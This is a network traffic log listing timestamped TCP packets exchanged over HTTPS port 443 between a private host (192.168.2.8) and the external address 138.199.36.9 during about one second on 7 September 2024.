Sep 7, 2024 23:15:31.646536112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.690965891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.732319117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.732343912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.732409000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.732435942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.732451916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.732472897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.732489109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.732506037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.732686996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.732723951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.732737064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.732757092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.732769012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.732783079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.733046055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.733066082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.733103991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.733114004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.733148098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.733417034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.733442068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.733477116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.733484030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.733505011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.733623028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.733635902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.733690977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.733700991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.734436035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.734455109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.734488010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.734498024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.734538078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.734945059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.734960079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.735007048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.735016108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.784687996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.821063995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821089983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821176052 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.821208000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821360111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821381092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821379900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.821398973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821419001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.821465969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.821611881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821630001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821685076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.821692944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821796894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821822882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821827888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.821835995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.821849108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.821896076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.822030067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.822043896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.822094917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.822101116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.822216034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.822499990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.822515011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.822577000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.822585106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.823044062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.823062897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.823101044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.823108912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.823132992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.823158026 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.823476076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.823491096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.823555946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.823564053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.823806047 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.909662962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.909688950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.909758091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.909791946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.909823895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.909847021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.909873009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.909882069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.909898043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.910007954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.910026073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.910067081 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.910075903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.910100937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.910123110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.910306931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.910322905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.910468102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.910474062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.910506964 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.910556078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.910571098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.910614967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.910621881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.910651922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.911060095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.911076069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.911134958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.911142111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.911323071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.911525965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.911542892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.911597967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.911604881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.911935091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.911956072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.911983967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.911990881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.912012100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.912041903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.999083042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999104977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999170065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999202967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.999226093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999257088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999269009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.999269962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999284983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.999294043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999319077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.999326944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999351025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.999396086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999416113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999439001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.999445915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999469995 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.999533892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999548912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999593973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.999599934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999773979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999799013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999818087 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:31.999824047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:31.999845982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.000010967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.000025034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.000075102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.000082970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.000554085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.000575066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.000602007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.000608921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.000634909 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.001822948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.001966953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.087104082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.087126017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.087199926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.087229967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.087266922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.087497950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.087517023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.087547064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.087553978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.087575912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.087591887 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.087675095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.087690115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.087730885 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.087738991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.087769985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.088223934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.088239908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.088293076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.088299036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.088329077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.088696003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.088711977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.088754892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.088759899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.088795900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.089225054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.089240074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.089284897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.089293003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.089325905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.089708090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.089723110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.089768887 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.089776993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.089823961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.090507984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.090523958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.090579987 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.090588093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.090620995 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.175203085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.175220966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.175335884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.175426006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.175467968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.175514936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.175534010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.175534010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.175561905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.175575018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.175626993 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.175637960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.175884008 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.175900936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.175956011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.175966024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.176131964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.176145077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.176198006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.176208973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.176497936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.176517963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.176553011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.176563025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.176590919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.176873922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.176887035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.176928997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.176939964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.176961899 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.177452087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.177469969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.177509069 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.177519083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.177540064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.222232103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.263811111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.263830900 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.263925076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.263952971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.263981104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.263997078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.264000893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264012098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264030933 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.264070034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.264182091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264194012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264239073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.264245987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264278889 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.264545918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264565945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264595985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.264604092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264615059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.264631033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.264741898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264755964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264816046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.264826059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.264856100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.265005112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.265018940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.265075922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.265084028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.265115976 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.265448093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.265465021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.265512943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.265522003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.265556097 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.265948057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.265961885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.266011000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.266020060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.266052008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.352222919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.352240086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.352406979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.352418900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.352454901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.352493048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.352520943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.352520943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.352545023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.352556944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.352617979 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.352628946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.352886915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.352905035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.352960110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.352967978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.353198051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.353214979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.353285074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.353296041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.353379011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.353394985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.353431940 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.353439093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.353482008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.353827953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.353840113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.353878021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.353885889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.353908062 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.355277061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.355304956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.355360985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.355380058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.355400085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.409776926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.440968990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.440990925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441042900 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441118002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.441122055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441174984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441204071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.441277981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441292048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441340923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.441354036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441565037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441585064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441634893 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.441646099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441736937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441750050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441787004 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.441793919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441819906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.441910982 CEST	443	49706	138.199.36.9	192.168.2.8
